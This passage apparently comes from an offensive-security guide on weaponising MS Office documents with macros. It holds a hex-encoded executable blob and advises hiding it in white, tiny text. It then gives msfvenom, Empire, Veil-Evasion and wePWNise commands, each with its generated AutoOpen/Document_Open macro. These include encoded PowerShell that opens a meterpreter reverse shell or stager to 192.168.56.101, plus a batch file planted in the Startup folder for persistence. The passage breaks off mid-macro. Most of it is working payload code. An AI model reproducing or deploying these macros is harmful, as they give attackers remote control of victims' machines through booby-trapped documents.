+&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00&HFF&HFF&H00&H00&HB8&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H80&H00&H00&H00&H0E&H1F&HBA&H0E&H00&HB4&H09&HCD&H21&HB8&H01&H4C&HCD&H21&H54&H68&H69&H73&H20&H70&H72&H6F&H67&H72&H61&H6D&H20&H63&H61&H6E&H6E&H6F&H74&H20&H62&H65&H20&H72&H75&H6E&H20&H69&H6E&H20&H44&H4F&H53&H20&H6D&H6F&H64&H65&H2E&H0D&H0D&H0A&H24&H00&H00&H00&H00&H00&H00&H00&H50&H45&H00&H00&H4C&H01&H03&H00&H8F&HC9&H1C&H93&H00&H00&H00&H00&H00&H00&H00&H00&HE0&H00&H0F&H03&H0B&H01&H02&H38&H00&H02&H00&H00&H00&H0E&H00&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H10&H00&H00&H00&H20&H00&H00&H00&H00&H40&H00&H00&H10&H00&H00&H00&H02&H00&H00&H04&H00&H00&H00&H01&H00&H00&H00&H04&H00&H00&H00&H00&H00&H00&H00&H00&H40&H00&H00&H00&H02&H00&H00&H46&H3A&H00&H00&H02&H00&H00&H00&H00&H00&H20&H00&H00&H10&H00&H00&H00&H00&H10&H00&H00&H10&H00&H00&H00&H00&H00&H00&H10&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H30&H00&H00&H64&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00&H00 +[...] +&H0D&H55&H20&H4D&H57 +``` + +As the macro's comment suggest, the long blob of bytes at the end of this script have to be simply pasted to the document's contents (one of Active document's Paragraphs). In order to avoid suspitions one can set a white colored font of smallest possible size to avoid lurking at the blob. + +--- + + +**4. Metasploit generated payload `vba-psh`** + +In this method, we leverage the Metasploit's `msfvenom` utility to generate a `vba-psh` payload that is similar to `Unicorn` in its form meaning that this is a payload consiting of `powershell.exe` invocation. + +We can generate this macro as follows: + +``` +work|16:42|~ # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f vba-psh +``` + +Then we will get the following output: + +``` +Sub pm6HSAm() + Dim rkEsZ + rkEsZ = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB" _ +& "3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHM" _ +& "ALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEATQB" _ +& "wAHAAbQAxAGsAQwBBADcAMQBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAcgA5AEQAMQBhAEYAaABLADAAUwBiAEEAaAB0AG0AawBpAFYAYgBvADAAQgBrADIAQQBDAGMAWQBBAEEAUgBkAFYAaQByADgAMgBTAHQAWgBmAFkAYQA5ADUANgAvAGUAOAAzAEIAdAB6AFEATgBqAG4AbAA3AHEAUwB6AFEATgA3AGQAbQBkAG0AWgBmAGUAYQBaAEgAWAB0AEo" _ +& "ANgBBAGoASwBRADIAawBaAGEAMAB3ADMAagBmAGwAVQArAHYAYgAyAHoAVQBrAEgAUgB6AGkAUQA1AEYAeABRAEUAcQBPAEMAbABQAE8ATQB3AGUAUAA2AEkAdABaAHMAeQA2AG8AcQBKAHkAZQBnAGsAQQBzAEgASgBQAHgAQQBwAE0AKwBTAFAARQBhAEwAaABjAEUARABUAE0AUABKADUAVwBVADEAaQBTAEkAUwBpAHYAMgA4ADIAQwBBAEMAeAB" _ +& "UAEUASgBwAG8AeQBTAFcARgBhAGsAUAA2AFgAQgBqAEUAVABrADkARwBZADYASgA0ADYAUQB2AGsAbQA1AHIAOABVAEcANAAxAFAATQBEAG0AcQBiAEsAbgBaAG0AUgBEAHAARgBvAFoAdgBLAFcAdAB6AEIAYQBYAFIARgBlADgARwBvAGsAUABOAGYAdgB1AFMAVgA4AFcAbABwAFUAcQB3ADkASgBwAGoARgBjAHQANwBlAHgASQBJAEUAUgBaAGU" _ +& "AeAB2AEMASgA5AFYAMQBLAEgAZAA1AHMARgBrAGYATQBXAGQAUwBJAGUAYwAwADgAVQBCAHoAUQA4AEsAeABkADcAWQBZAHcAOQAwAG8AYgBkAGwAcwBRAGkAWQBzAGIAZABPAEsALwBBAE8AZQBBAFgARQBaAEYARQBvAFgAUQA0AFUAYgByAEYAWABrAEgATwB3ADcAQQBUAGMAUQBlADUAYgBrAFIAaQAwAEMAOAAyAHcAeQBWAC8ASQBIAEkAdQB" _ +& "UAEIAZwByAFMASAAvAEkANAA0AFAALwAyAHkAUQBVAE4AQwBBAGcARgB5AFQAaQBDADUAdABFAFMAKwBxAFEAdQBHAGoAaQAwAEcAWABrAGwAbgBnAFQAdQBVADEAVwAyAGIARgBmAGEAeQBRAGYARwA0AEYAVwBSADAAUgBLAEEAWgBMAHkAYgBLAEEAVwBkAHgATgBHADkAcgBaADUANQBmAGQAUQBkADYAbABVADQAUABrADEAbgBZAEQAQwA5ADc" _ +& "AZAB2ADMAcgA3AHgATQBpAFoAZwByAFcANgBZAHcANAB0AGoASABzAEQAbwBaAEwAdwBiAEUANABoAFYANwB2AEMAWQA3AGwAUQAvAFMAMQBwAEIAcwBzAEEAbgBGAGoAegBhAHcARABSADMARgB5AFYARQBtAFUAagBqAE4AQQB2AGoAeQBRAFIAOABOAGMAaABkAGUASQA3AEYAOQBLAGIAdwA4AGkANgBsAHoAQQBRAE0AbwBqAEMAZQBEAGMAMwB" _ +& "xADMAUABpADAAQgBNAG0ANAB6ADYAawA3AEEAYwB0AEQAcwBuAEwATwBkAEgAcAA3AE0AMwBlADAAMAB0AGsAZwBGAGIALwBNAFAAWQBOADQATgBDAFQARwBKAHMAUQBCAGQAVABKADYAeQBjAC8AbABnAFgAaQBNADcASQA1AGUAegBOAFQAYQBFAEsASwBjAFAAdwBpAEkAYQB4AEIARwBmAEMAeABTAFgAQQB2AFMAKwBIAGUAegBXAGsARABGAEQ" _ +& "AMQBzADkAbwBjAHcAbABFAFgASQBnAGwAegBGAEUAQgBXAGwAVwBmAGcANQBtAG4AeQBvADUAMwB3AHcAdABFAGcAQgB1ACsAMwBrACsAVABRAHkAUQBtAG0AVABhAEIAeQBKAHYATQB1AC8AcABIAEoAVAB5AFYAWQBiAGoAdQBDAEIAMQBFAHEAZwBxAHAAeQBEAFoAQgBEAFAAaQBGAGkAUQBVAHgAdgBRAGcAUQBvAG4AZwB1ADIASAArAEsAVgB" _ +& "3AHIAWQBZAEkANgBPAEIAYgBaAGQAaABQAGwARgB6AGcAUABiAHEAcwA4AGoARQBXAFUATwBKAEIAUgBnAE8ARABPAFgAaABDAEgAWQBwAFkAaQBVAHAAQgBNADYAaABKADkAWQAxAE0ALwBjADUAOQAvAEYAbwA4AHEAWgBvAHkARwBQAHUAeQAwAGgASAB6AEEAUwBvAHEARABMAFYASwBlAFIARwA3AGgAbQBCAE4ASwAwAFMAYQBpAEcAUwB3AFk" _ +& "AQwBVAEIAegBWACsAdAAxAGgAbgAyAG8ANwBFAE4AMQA3AE8AaQBGAGYAZQBMAG0AWAB3AGcAMwBLADQARQA5ADMAMQBOADgATQBtAEMATwBnAG8AVwBrADIANAB5AEwAZwB0AFMAbgBrAFkAQwBiAEkAOABYADYAaQBHAGYALwBKAGEAUwBqAEMAKwBRADQAdQBHAHAARQBEAGkAbQBUAHMAdwBJAGIANgB4AHUAUgAxAGsAUgB1ADEAYgA3AHAAcAB" _ +& "kAHcAOQBBAEwAZQBEAEsAUgBJAEEAVQBUADMAaQBnAFkANQBqADgAcgBGAGkAaQB3AGcAQQBsAE4AKwBwAE4ANwBTAEsANABCAGsAMgBRADIAWQA1ACsAZwBNAHQAbwBSAFUAdABOAFMAMwA0ADkAKwBoAFoAawB4AHYAbgA3AHYAWABWADMARgBRAGoAWQB6ADMAegBVAEQATgB1AFcAbQBiAEgANgBKAHAAbQBaAFgAbABsADkAeQB2AEMAcgBqAFg" _ +& "ARgBkAGEAYwBwAHIATgByADkAZgBHADQAagA4ADcAWQAzAEYASwBNAG0ATQB1ACsAbwA5AGoAQwBzAGIAQgBkAFgAZABHAHUAMwBrAEQAdABjAHEAeAArADMAKwBuAGEAbAA2AGUAdgB0ADMASABlADkAbwBlAEYANQAvAHIAbABuADMANQBZACsAMQBHAGwAcgBVAE8AMwBxAFcAaABtADMAagBGAHIAUwBHAHUAZwByAFgAYQB2AEUATgBiAG8AeQB" _ +& "1ADcAVABYAGYAYgBpAHEAaQArAG0AdwB6ADMARABQAFUALwAzADcAMABnAFcAbQA2ADEAWQAwADcANQBlADQAdABXADAAaQAxAEoAaQBkAE8AZABzAHIAcgA5ACsAWQBXAGUANQBtAGEASwBvAFgAZwA4AG8ARABxAGkARgBVAEQAVwB2ADkAdQBzADYAdgBoADMAcQBFAE8AbQBvAGYAKwAzADIAKwB1AHYAWQByAG8ANABFAFAAWgAyADIAYwBVAHo" _ +& "ATABxADkAdQBwADYAdAAxAHYAWABVAGEAOAB4AGYAegBRAHUAVgBCADkAcwA3AC8ARgBNAEgALwBUAEwAZABMAFMANAB2ADUAMwBCAHYAQQA0AGgAWABLAHQAYQBwAGUAbQBTAEwAUgA5ADIAQQBhAFEARwBSADkAaQAvAEIAUgAyAC8AVwBuAFoAbQBIAHUAZwBZADcANQBIACsAdgBzADMAagBNAG4ANwBRAE8AZABKAEIAcAB6ADUANgBoAEwAaQB" _ +& "HAGkAMwBxAEgAZwBmAHkAdQBWACsAYQBvAHoAOQByADMARwBMAFYARwBtADcAcQBxAGwAbwBhAGQAQwBqAEkAMQBPAG0AagA0AEsATgAwAFMAKwAzAG8AWABvADMAaABwAGIAQQAyADEAMQBIAGUANQBPAC8AagBRAEgAbgBwAHEALwA1ADYAZABxADAAYgAxAGIAdQBGADQAcQBxAHEAdQBUAE8AUABhAEcAWgBYAFcAbgAyADcATwBQADcAVQBHAHQ" _ +& "AQgA5AHcAMQBGAFAAVgAvAHIAdQBVAEgAcwBDAFAASABGADUAdgBMAHMANAB2AHYAcABhAG4AUgAwAGwALwA2AGYASwAzAGMAQgBUAFAATQBBAE0AeQB3AEoAMgBlAGwAVwBxAGQAUgAvAFgARAA3AGQAegBoAE4ATABXAFEANQBhAGQAKwAvAFUAQwBpAGsARABEAG8AYwBkAEEARgBNADQASQBqAHgAcgBpAFQATgBvAHYAcwBNAG8AZABlAHQAZQA" _ +& "4AGcARQA2AGoAWQBIAGcAegBQAHkAcwArAE8ARgBPAG0ASABvAHYATABVAFIAYgBLAGwAeQA4AHMAUgBSAEEAdgBsAGsAbABLADQAMgBDAEsAaABMADIAWQBGAGIAWAAyAG0AYQBkAEEASAB0AEgAVgBGAGcAeQBPAC8ALwBvAFIAVgB2AHQAagBJAHUANgAwAEsAYQBSADkANQB3AGkAbAB6AHcASABZAE8AbABMAFIANABjAHMAbQBxAE8AZwAxAHE" _ +& "AWgBCAFMASQAvAHcASABGAFEALwBYAE8ANABPAFcAKwBBAHMAVwBuAHQAYgArAFIAdgBnAHAAWgByAFgAQwBFAHcAbQArAHkAbgB4AGYAKwBFAGQAYgAvAEQAbwBjAEIAcABnAEwAVQBiAGIAaQBMAEcATgBsADMAegBSAGYAaABPAFAARABuADYATgBQAGoASwBXAFgAQQBFAGUALwB3AHAAQgArAEIATgA0AGsANABiAGMATgAzAHkAVgArAGQAQgB" _ +& "SADEAQQBmAFEAbwBBAEEAQQA9AD0AJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGU" _ +& "AcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZAB" _ +& "PAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHI" _ +& "AdAAoACQAcwApADsA" + Call Shell(rkEsZ, vbHide) +End Sub +Sub AutoOpen() + pm6HSAm +End Sub +Sub Workbook_Open() + pm6HSAm +End Sub + +``` + +--- + + +**5. `Empire` generated `windows/macro` stager** + +The **PowerShell Empire** can also provide MS Office Macro as a stager for our listener. + +In order to acquire such stager we can follow the following steps (for Empire 2.0): + +- `uselistener http` +- `set Host 192.168.56.101` +- `main` +- `usestager windows/macro` +- `set Listener http` +- `execute` + +The resulting Macro will be of form: + +``` +Sub AutoOpen() + Debugging +End Sub + +Sub Document_Open() + Debugging +End Sub + +Public Function Debugging() As Variant + Dim Str As String + str = "powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ" + str = str + "BzAHMARQBtAEIAbABZAC4ARwBFAFQAVABZAFAARQAoACcAUwB5" + str = str + "AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AH" + str = str + "QAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcA" + str = str + "KQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAdABGAGkARQ" + str = str + "BMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAn" + str = str + "ACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjAC" + str = str + "cAKQAuAFMARQBUAFYAYQBsAFUAZQAoACQATgB1AGwAbAAsACQA" + str = str + "VABSAHUARQApAH0AOwBbAFMAWQBTAFQARQBNAC4ATgBFAHQALg" + str = str + "BTAEUAcgB2AGkAQwBlAFAAbwBpAE4AVABNAEEAbgBBAGcARQBS" + str = str + "AF0AOgA6AEUAWABQAEUAQwB0ADEAMAAwAEMATwBuAFQAaQBOAF" + str = str + "UAZQA9ADAAOwAkAFcAYwA9AE4AZQB3AC0ATwBCAGoARQBDAHQA" + str = str + "IABTAFkAUwB0AGUAbQAuAE4AZQBUAC4AVwBFAGIAQwBMAEkAZQ" + str = str + "BOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAg" + str = str + "ACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE" + str = str + "8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAA" + str = str + "cgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbw" + str = str + "AnADsAJABXAGMALgBIAEUAYQBkAGUAUgBzAC4AQQBkAGQAKAAn" + str = str + "AFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAE" + str = str + "MALgBQAHIATwB4AFkAPQBbAFMAWQBTAHQARQBNAC4ATgBFAHQA" + str = str + "LgBXAGUAYgBSAEUAUQB1AGUAUwB0AF0AOgA6AEQARQBmAEEAVQ" + str = str + "BsAFQAVwBFAGIAUABSAG8AWAB5ADsAJAB3AGMALgBQAFIATwB4" + str = str + "AHkALgBDAHIARQBEAEUAbgB0AGkAYQBMAFMAIAA9ACAAWwBTAH" + str = str + "kAcwBUAGUATQAuAE4AZQBUAC4AQwByAGUARABlAG4AdABpAGEA" + str = str + "bABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQB1AEwAdABOAEUAVA" + str = str + "BXAG8AcgBrAEMAUgBlAEQARQBuAHQASQBBAEwAcwA7ACQASwA9" + str = str + "AFsAUwBZAFMAdABFAE0ALgBUAEUAeABUAC4ARQBOAEMAbwBEAG" + str = str + "kAbgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBUAEIAWQB0AEUA" + str = str + "cwAoACcAdwBKADEAcwBaAD8AKgA1AFcAOgBuAFYAaQBlADsANg" + str = str + "A4AHkAfABVACwAfgBGACUAMgBYAEgAMABBACkASQB7ACcAKQA7" + str = str + "ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIARwBzADsAJABTAD" + str = str + "0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoA" + str = str + "PQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJA" + str = str + "BLAC4AQwBvAHUAbgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABf" + str = str + "AF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAF" + str = str + "sAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEA" + str = str + "KQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQ" + str = str + "ApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABd" + str = str + "AD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAE" + str = str + "IAWABPAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQA" + str = str + "SABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABlAGEAZA" + str = str + "BlAFIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBz" + str = str + "AGUAcwBzAGkAbwBuAD0AYgBTAG8ASgBUAHMAOAA2AEsANQBvAF" + str = str + "kAcwBLAEUATwBmAC8ASwAxADUAYwArADkASQBvAGMAPQAiACkA" + str = str + "OwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQ" + str = str + "A2ADgALgA1ADYALgAxADAAMQA6ADgAMAAnADsAJAB0AD0AJwAv" + str = str + "AGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnAD" + str = str + "sAJABkAEEAdABhAD0AJABXAEMALgBEAG8AdwBuAEwAbwBhAGQA" + str = str + "RABhAHQAQQAoACQAcwBFAFIAKwAkAFQAKQA7ACQASQBWAD0AJA" + str = str + "BEAGEAVABhAFsAMAAuAC4AMwBdADsAJABEAEEAVABhAD0AJABE" + str = str + "AEEAdABBAFsANAAuAC4AJABkAEEAVABBAC4ATABlAE4AZwBUAE" + str = str + "gAXQA7AC0AagBPAGkAbgBbAEMAaABBAFIAWwBdAF0AKAAmACAA" + str = str + "JABSACAAJABEAGEAdABBACAAKAAkAEkAVgArACQASwApACkAfA" + str = str + "BJAEUAWAA=" + Const HIDDEN_WINDOW = 0 + strComputer = "." + Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") + Set objStartup = objWMIService.Get("Win32_ProcessStartup") + Set objConfig = objStartup.SpawnInstance_ + objConfig.ShowWindow = HIDDEN_WINDOW + Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") + objProcess.Create str, Null, objConfig, intProcessID +End Function +``` + +Obviously we can enhance it any further as we wish, as well as obfuscate it little bit further. + + +--- + +**6. Using `Veil-Evasion` generated _powershell.exe_ command within `Luckystrike` generated macro** + +This one is quite fancy. Firstly, we generate `powershell.exe -Command "[...]"` Shell command that will get executed directly from within Macro code prepared by hand or by Luckystrike (the latter tool doesn't introduce anything fancy here). + +- So, the first step is to obtain a Powershell command for **windows/meterpreter/reverse_https**: + +``` +./Veil.py -t Evasion -p 21 --ip 192.168.56.101 --port 443 --msfvenom windows/meterpreter/reverse_https --msfoptions LHOST=192.168.56.101 LPORT=443 -o msf2 +``` + +We will get a result similar to: + +``` +=============================================================================== + Veil-Evasion +=============================================================================== + [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework +=============================================================================== + + [*] Language: powershell + [*] Payload Module: powershell/meterpreter/rev_https + [*] PowerShell doesn't compile, so you just get text :) + [*] Source code written to: /usr/share/veil-output/source/msf2.bat + [*] Metasploit RC file written to: /usr/share/veil-output/handlers/msf2.rc +``` + +- Then we edit the resulted **msf2.bat** file to make it leverage `start /b`. To do so, we prepend every **powershell.exe** invocation with this `start /b` command. + +This script should look like: + +``` +@echo off +if %PROCESSOR_ARCHITECTURE%==x86 (start /b powershell.exe -NoP -NonI -W Hidden -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVRtb9tGDP7uX0EIN0BCLEV+aZZYCNDUadZsdZrFbtLNMIazRFvXnO6U08mR4/q/j3I0x/26LzqR4vF5SD4Ue4JzeO+0ppdSXme5NtZ1HtEolL1ukEjpeDPIy7kUMRSWWzqwsvQdrpW9tQbuhbEllxdS6thtfDK/SBKDRdGGUigLyfNYvGBjLF5jKZVWk3X+5r412mJsveh/cxka5BYnKR3JG5dX+8JaI+alxQNSlsePr8z2weQzds9+777lhmdIWPvLOywq4Ury5WHkK9p1QmU471vWrDcsoQ47Fx+Glx+vfvt0/fsfn0c3X27/vBtPvt4/fPvrbz6PE1wsU/H9UWZK50+msOXquVq/hJ1ur//u5NfTMyeY6GHKzYUxfO16rUWp4hodYpetvA0YtCX1wXWnxG46mwFb/XwDfsAIeVEa9L/Mv1ObwR+XmRfQA36BsOqEIfj4BGddb/uW3cKGLWr2TtQJgt6Phabi4tTXuxT07egcWDJ1l2h9w1WiM/AzXomMsrIk+IxqaVNvto0afmwRHWRH2EBudEyths2U10RnrCI4ehwB+2cbAaqEKFTEviA1NLiwcRU+/2fc7XC9QJEWXG+7PQBYboAYg8vEeRgxAb60cNKnt6Mjb8NSQrIRe6wBE0LACKApkK5IEMT3keKKOiCtGckIxAJc6nnhebDvOkUQbGM4Z6tvXx0qc3qDNhijWYkYbzWNZcQVX6KZDQa1F80QjRULQZuA91yKZCenIZdyTrIkzA2zpsRtxDIybqjgZnDjdWExC+r0DzgfSoHKRi2WBZ9IeGiKgOTrOmWBxic8ZZ02OCP9IqTkx/0gJP46ywlsLqni0fj6I5wEnQgeBPXxuYCbied4EVMEuoxg+mFtcSeovG5DFlzqZyU1Ty655a6TWpsXg+Pjzlk36JycBu8oVdgZ9Pu9Y6Yc8FpM0zUi5NerTuLAbI7mEhdCid2I2BP4N7Ra4BB+r+uAr8gqch4j7DxXzTAL8HNeFDY1ZYtV50wPBj/9esI2yxvBtcOqF4YhHf3Qi6ZNv+5KZUWGAW0qGp03kymCETdFyiWNZajztcvyNoRtmL4u9MxlFS0SGb2u63lt2IPUpdGVwz8OIbZZ1a6PsF44XVpflZJUs/ur+GOJmNPeYaxJ1qcn/TDc0vTjdLP9Fw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();") else (start /b %WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVRtb9tGDP7uX0EIN0BCLEV+aZZYCNDUadZsdZrFbtLNMIazRFvXnO6U08mR4/q/j3I0x/26LzqR4vF5SD4Ue4JzeO+0ppdSXme5NtZ1HtEolL1ukEjpeDPIy7kUMRSWWzqwsvQdrpW9tQbuhbEllxdS6thtfDK/SBKDRdGGUigLyfNYvGBjLF5jKZVWk3X+5r412mJsveh/cxka5BYnKR3JG5dX+8JaI+alxQNSlsePr8z2weQzds9+777lhmdIWPvLOywq4Ury5WHkK9p1QmU471vWrDcsoQ47Fx+Glx+vfvt0/fsfn0c3X27/vBtPvt4/fPvrbz6PE1wsU/H9UWZK50+msOXquVq/hJ1ur//u5NfTMyeY6GHKzYUxfO16rUWp4hodYpetvA0YtCX1wXWnxG46mwFb/XwDfsAIeVEa9L/Mv1ObwR+XmRfQA36BsOqEIfj4BGddb/uW3cKGLWr2TtQJgt6Phabi4tTXuxT07egcWDJ1l2h9w1WiM/AzXomMsrIk+IxqaVNvto0afmwRHWRH2EBudEyths2U10RnrCI4ehwB+2cbAaqEKFTEviA1NLiwcRU+/2fc7XC9QJEWXG+7PQBYboAYg8vEeRgxAb60cNKnt6Mjb8NSQrIRe6wBE0LACKApkK5IEMT3keKKOiCtGckIxAJc6nnhebDvOkUQbGM4Z6tvXx0qc3qDNhijWYkYbzWNZcQVX6KZDQa1F80QjRULQZuA91yKZCenIZdyTrIkzA2zpsRtxDIybqjgZnDjdWExC+r0DzgfSoHKRi2WBZ9IeGiKgOTrOmWBxic8ZZ02OCP9IqTkx/0gJP46ywlsLqni0fj6I5wEnQgeBPXxuYCbied4EVMEuoxg+mFtcSeovG5DFlzqZyU1Ty655a6TWpsXg+Pjzlk36JycBu8oVdgZ9Pu9Y6Yc8FpM0zUi5NerTuLAbI7mEhdCid2I2BP4N7Ra4BB+r+uAr8gqch4j7DxXzTAL8HNeFDY1ZYtV50wPBj/9esI2yxvBtcOqF4YhHf3Qi6ZNv+5KZUWGAW0qGp03kymCETdFyiWNZajztcvyNoRtmL4u9MxlFS0SGb2u63lt2IPUpdGVwz8OIbZZ1a6PsF44XVpflZJUs/ur+GOJmNPeYaxJ1qcn/TDc0vTjdLP9Fw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();") +``` + +- Afterwards, we upload the resulted **msf2.bat** file to the target machine, for instance via _Meterpreter_: + +``` +meterpreter> upload /usr/share/veil-output/source/msf2.bat "%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\nasty.bat" + +``` + +And that's all. + + + +--- + + +**7. `wePWNise` architecture-independent Macro dynamically bypassing SRPs+EMET** + +That's something huge actually. The `wePWNise` tool by **MWRLabs** is a tool that embeds previously generated x86 and x64 payloads right into VBS script that itself is capable of enumerating (in the runtime) Software Restriction Policies and EMET policies, finding weak spots and then bypassing those. Everything goes automatically right after executing the macro. This functionality makes the `wePWNise` code quite robust under various enviroment restrictions. + +In order to generate such Macro we have to firstly generate **two** payloads for both: **x86** and **x64** architecture's for instance via `msfvenom`: + +``` +work|02:47|~/ # msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.56.101 LPORT=443 -f raw -o /tmp/methttps1.raw +No platform was selected, choosing Msf::Module::Platform::Windows from the payload +No Arch selected, selecting Arch: x86 from the payload +No encoder or badchars specified, outputting raw payload +Payload size: 408 bytes +Saved as: /tmp/methttps1.raw + +work|02:48|~/ # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.56.101 LPORT=443 -f raw -o /tmp/methttps1x64.raw +No platform was selected, choosing Msf::Module::Platform::Windows from the payload +No Arch selected, selecting Arch: x64 from the payload +No encoder or badchars specified, outputting raw payload +Payload size: 673 bytes +Saved as: /tmp/methttps1x64.raw +``` + +Having those two, we can proceed to actual VBA code generation with command: + +``` +work|02:48|~/ # python wepwnise.py -i86 /tmp/methttps1.raw -i64 /tmp/methttps1x64.raw --out /tmp/wepwnise.txt + +``` + +Which will result in the following Macro code: + +``` +Private Const PROCESS_ALL_ACCESS = &H1F0FFF +Private Const MEM_COMMIT = &H1000 +Private Const MEM_RELEASE = &H8000 +Private Const PAGE_READWRITE = &H40 +Private Const HKEY_LOCAL_MACHINE = &H80000002 +Private Const PROCESSOR_ARCHITECTURE_AMD64 = 9 +Private Type PROCESS_INFORMATION +hProcess As Long +hThread As Long +dwProcessId As Long +dwThreadId As Long +End Type +Private Type STARTUPINFO +cb As Long +lpReserved As String +lpDesktop As String +lpTitle As String +dwX As Long +dwY As Long +dwXSize As Long +dwYSize As Long +dwXCountChars As Long +dwYCountChars As Long +dwFillAttribute As Long +dwFlags As Long +wShowWindow As Integer +cbReserved2 As Integer +lpReserved2 As Long +hStdInput As Long +hStdOutput As Long +hStdError As Long +End Type +#If VBA7 Then 'x64 office +Private Declare PtrSafe Function bodyslam Lib 